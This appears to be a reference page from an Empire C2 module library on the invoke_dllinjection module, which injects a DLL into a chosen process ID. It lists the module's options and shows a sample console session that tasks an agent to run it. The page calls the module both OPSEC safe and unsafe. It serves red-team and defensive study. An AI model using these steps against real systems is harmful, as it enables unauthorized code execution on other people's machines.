Invoke-DllInjection - Empire Module

This page contains detailed information about how to use the powershell/code_execution/invoke_dllinjection Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

---

Name: Invoke-DllInjection
Module: powershell/code_execution/invoke_dllinjection
Source code [1]: empire/server/modules/powershell/code_execution/invoke_dllinjection.yaml
Source code [2]: empire/server/data/module_source/code_execution/Invoke-DllInjection.ps1
MITRE ATT&CK: T1055, S0194
Language: PowerShell
Needs admin: No
OPSEC safe: Yes
Background: No

The invoke_dllinjection module uses PowerSploit's Invoke-DLLInjection to inject a Dll into the process ID of your choosing.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the invoke_dllinjection module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

---

This is a list of options that are required by the invoke_dllinjection module:

Agent
Agent to run module on.

Dll
Name of the dll to inject. This can be an absolute or relative path.

ProcessID
Process ID of the process you want to inject a Dll into.

Invoke_dllinjection Example Usage

---

Here's an example of how to use the invoke_dllinjection module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/code_execution/invoke_dllinjection

 Author       @mattifestation                                                        
 Background   False                                                                  
 Comments     https://github.com/mattifestation/PowerSploit/blob/master/CodeExecutio 
              n/Invoke-DllInjection.ps1                                              
 Description  Uses PowerSploit's Invoke-DLLInjection to inject  a Dll into the       
              process ID of your choosing.                                           
 Language     powershell                                                             
 Name         powershell/code_execution/invoke_dllinjection                          
 NeedsAdmin   False                                                                  
 OpsecSafe    True                                                                   
 Software     http://attack.mitre.org/software/S0194                                 
 Techniques   http://attack.mitre.org/techniques/T1055                               


,Record Options-----,----------,-------------------------------------,
| Name      | Value | Required | Description                         |
|-----------|-------|----------|-------------------------------------|
| Agent     |       | True     | Agent to run module on.             |
|-----------|-------|----------|-------------------------------------|
| Dll       |       | True     | Name of the dll to inject. This can |
|           |       |          | be an absolute or relative path.    |
|-----------|-------|----------|-------------------------------------|
| ProcessID |       | True     | Process ID of the process you want  |
|           |       |          | to inject a Dll into.               |
'-----------'-------'----------'-------------------------------------'

(Empire: usemodule/powershell/code_execution/invoke_dllinjection) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/code_execution/invoke_dllinjection) > set Dll value
[*] Set Dll to value
(Empire: usemodule/powershell/code_execution/invoke_dllinjection) > set ProcessID value
[*] Set ProcessID to value
(Empire: usemodule/powershell/code_execution/invoke_dllinjection) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Author

---

• @mattifestation

References

---

• https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/powershell/code_execution/invoke_dllinjection.yaml
• https://github.com/BC-SECURITY/Empire/tree/master/empire/server/data/module_source/code_execution/Invoke-DllInjection.ps1
• https://github.com/mattifestation/PowerSploit/blob/master/CodeExecution/Invoke-DllInjection.ps1
• http://attack.mitre.org/software/S0194
• http://attack.mitre.org/techniques/T1055
• http://www.exploit-monday.com

See Also

---

Check also the following modules related to this module:

• powershell/code_execution/invoke_metasploitpayload
• powershell/code_execution/invoke_ntsd
• powershell/code_execution/invoke_shellcodemsil
• powershell/code_execution/invoke_assembly
• powershell/code_execution/invoke_reflectivepeinjection
• powershell/code_execution/invoke_ironpython
• powershell/code_execution/invoke_clearscript
• powershell/code_execution/invoke_ironpython3
• powershell/code_execution/invoke_shellcode
• powershell/code_execution/invoke_ssharp
• powershell/code_execution/invoke_boolang
• powershell/lateral_movement/invoke_psexec
• powershell/lateral_movement/invoke_sqloscmd
• powershell/exploitation/invoke_spoolsample
• powershell/credentials/invoke_kerberoast
• powershell/credentials/invoke_internal_monologue
• powershell/credentials/invoke_ntlmextract
• powershell/management/invoke_script
• powershell/management/invoke_sharpchisel
• powershell/management/invoke_socksproxy
• powershell/lateral_movement/invoke_psremoting
• powershell/lateral_movement/invoke_executemsbuild
• powershell/lateral_movement/invoke_dcom
• powershell/lateral_movement/invoke_portfwd
• powershell/lateral_movement/invoke_smbexec
• powershell/lateral_movement/invoke_wmi
• powershell/lateral_movement/invoke_wmi_debugger
• powershell/lateral_movement/invoke_sshcommand
• python/code_execution/powershell_execution

Version

---

This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.